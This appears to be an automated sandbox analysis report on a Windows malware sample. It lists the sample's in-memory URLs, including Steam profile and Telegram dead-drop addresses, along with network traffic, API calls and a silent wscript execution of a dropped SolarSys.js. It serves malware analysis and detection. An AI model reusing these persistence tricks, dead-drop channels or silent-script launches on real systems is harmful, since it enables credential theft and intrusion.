Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Source: Hist.pif, 0000000B.00000002.3072722051.0000000004653000.00000004.00000800.00020000.00000000.sdmp, HCFBKK.11.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Hist.pif, 0000000B.00000002.3072722051.0000000004653000.00000004.00000800.00020000.00000000.sdmp, HCFBKK.11.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: https://d.symcb.com/cps0%
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: https://d.symcb.com/rpa0
Source: EHIJJDGDHD.exe.11.dr, Windows_Services_AS[1].exe.11.dr	String found in binary or memory: https://d.symcb.com/rpa0.
Source: GCFIIE.11.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GCFIIE.11.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: GCFIIE.11.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: HCFBKK.11.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: https://mozilla.org0/
Source: 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Hist.pif, 0000000B.00000002.3072722051.0000000004653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/P
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199735694209
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Hist.pif, 0000000B.00000003.2554923628.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555154837.0000000004954000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073354525.0000000004920000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3071880949.000000000149B000.00000004.00000020.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072722051.0000000004620000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555196577.0000000004D28000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555177595.000000000463F000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073354525.0000000004953000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073627250.0000000004D21000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2554949475.00000000046C3000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555073817.00000000046A5000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555115715.00000000015D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199735694209
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199735694209/badges
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199735694209/inventory/
Source: Hist.pif, 0000000B.00000003.2554923628.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555154837.0000000004954000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073354525.0000000004920000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072722051.0000000004620000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555196577.0000000004D28000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555177595.000000000463F000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073354525.0000000004953000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073627250.0000000004D21000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2554949475.00000000046C3000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555073817.00000000046A5000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555115715.00000000015D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199735694209fr-0Mozilla/5.0
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/
Source: 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: AAAAKJ.11.dr	String found in binary or memory: https://support.mozilla.org
Source: AAAAKJ.11.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: AAAAKJ.11.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: Hist.pif, 0000000B.00000003.2554923628.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555154837.0000000004954000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073354525.0000000004920000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072722051.0000000004620000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555196577.0000000004D28000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555177595.000000000463F000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073354525.0000000004953000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073627250.0000000004D21000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2554949475.00000000046C3000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555073817.00000000046A5000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555115715.00000000015D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/puffclou
Source: Hist.pif, 0000000B.00000003.2554923628.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555154837.0000000004954000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073354525.0000000004920000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072722051.0000000004620000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555196577.0000000004D28000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555177595.000000000463F000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073354525.0000000004953000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3073627250.0000000004D21000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2554949475.00000000046C3000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555073817.00000000046A5000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000003.2555115715.00000000015D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/puffclouhellosqlt.dllsqlite3.dll
Source: Hist.pif, 0000000B.00000002.3072722051.0000000004653000.00000004.00000800.00020000.00000000.sdmp, HCFBKK.11.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: Hist.pif, 0000000B.00000002.3072722051.0000000004653000.00000004.00000800.00020000.00000000.sdmp, HCFBKK.11.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: Hist.pif, 0000000B.00000002.3091622580.0000000025667000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3097668223.000000003154B000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3085053957.000000001978A000.00000004.00000800.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3082181966.000000001381C000.00000004.00000800.00020000.00000000.sdmp, softokn3.dll.11.dr, freebl3.dll.11.dr, nss3.dll.11.dr, mozglue.dll.11.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: GCFIIE.11.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: mg9LPWGtPB.exe, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: mg9LPWGtPB.exe, 00000000.00000003.2003742764.0000000002905000.00000004.00000020.00020000.00000000.sdmp, EHIJJDGDHD.exe, 00000010.00000003.3035364924.00000000027B8000.00000004.00000020.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3094253513.0000000003B76000.00000004.00000800.00020000.00000000.sdmp, Bk.pif, 0000001D.00000003.3928833943.0000000003417000.00000004.00000020.00020000.00000000.sdmp, Knitting.0.dr, Bk.pif.17.dr, Performing.16.dr, SolarSys.pif.29.dr, Hist.pif.2.dr	String found in binary or memory: https://www.globalsign.com/repository/03
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: GCFIIE.11.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: AAAAKJ.11.dr	String found in binary or memory: https://www.mozilla.org
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3077545139.000000000C55F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: AAAAKJ.11.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3077545139.000000000C55F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: AAAAKJ.11.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3077545139.000000000C55F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: Hist.pif, 0000000B.00000003.2902325535.0000000012DBD000.00000004.00000800.00020000.00000000.sdmp, AAAAKJ.11.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/vchost.exe
Source: AAAAKJ.11.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Hist.pif, 0000000B.00000003.2902325535.0000000012DBD000.00000004.00000800.00020000.00000000.sdmp, AAAAKJ.11.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3077545139.000000000C55F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/chost.exe
Source: Hist.pif, 0000000B.00000003.2902325535.0000000012DBD000.00000004.00000800.00020000.00000000.sdmp, AAAAKJ.11.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Hist.pif, 0000000B.00000002.3073627250.0000000004D65000.00000040.00001000.00020000.00000000.sdmp, Hist.pif, 0000000B.00000002.3072848236.00000000046A4000.00000004.00000800.00020000.00000000.sdmp, 76561199735694209[1].htm.11.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 64937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64934
Source: unknown	Network traffic detected: HTTP traffic on port 64952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64939
Source: unknown	Network traffic detected: HTTP traffic on port 64956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64946
Source: unknown	Network traffic detected: HTTP traffic on port 64955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64948
Source: unknown	Network traffic detected: HTTP traffic on port 64951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64959 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64942
Source: unknown	Network traffic detected: HTTP traffic on port 64941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64955
Source: unknown	Network traffic detected: HTTP traffic on port 64954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64958
Source: unknown	Network traffic detected: HTTP traffic on port 64950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64959
Source: unknown	Network traffic detected: HTTP traffic on port 64935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64950
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64951
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 64953
Source: unknown	Network traffic detected: HTTP traffic on port 64942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 64936 -> 443

Source: unknown	HTTPS traffic detected: 23.192.247.89:443 -> 192.168.2.5:64934 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 65.109.241.221:443 -> 192.168.2.5:64935 version: TLS 1.2

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

Code function: 0_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004050CD

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00094614 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		11_2_00094614
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003B4614 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,		38_2_003B4614

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00094416 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

11_2_00094416

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe

Code function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000ACEDF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		11_2_000ACEDF
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003CCEDF DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		38_2_003CCEDF

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Wscript called in batch mode (surpress errors)

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js"
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.js"

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_000840C1: CreateFileW,DeviceIoControl,CloseHandle,

11_2_000840C1

Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif

Code function: 11_2_00078D11 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

11_2_00078D11

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	0_2_00403883
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000855E5 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	11_2_000855E5
Source: C:\ProgramData\EHIJJDGDHD.exe	Code function: 16_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,	16_2_00403883
Source: C:\Users\user\AppData\Local\SunCraft Innovations\SolarSys.pif	Code function: 38_2_003A55E5 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	38_2_003A55E5

Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\mg9LPWGtPB.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0002B020	11_2_0002B020
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000294E0	11_2_000294E0
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00029C80	11_2_00029C80
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000A81C8	11_2_000A81C8
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00042325	11_2_00042325
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_00056432	11_2_00056432
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0005258E	11_2_0005258E
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0002E6F0	11_2_0002E6F0
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0004275A	11_2_0004275A
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000A0802	11_2_000A0802
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000588EF	11_2_000588EF
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_000569A4	11_2_000569A4
Source: C:\Users\user\AppData\Local\Temp\787041\Hist.pif	Code function: 11_2_0007EB95	11_2_0007EB95
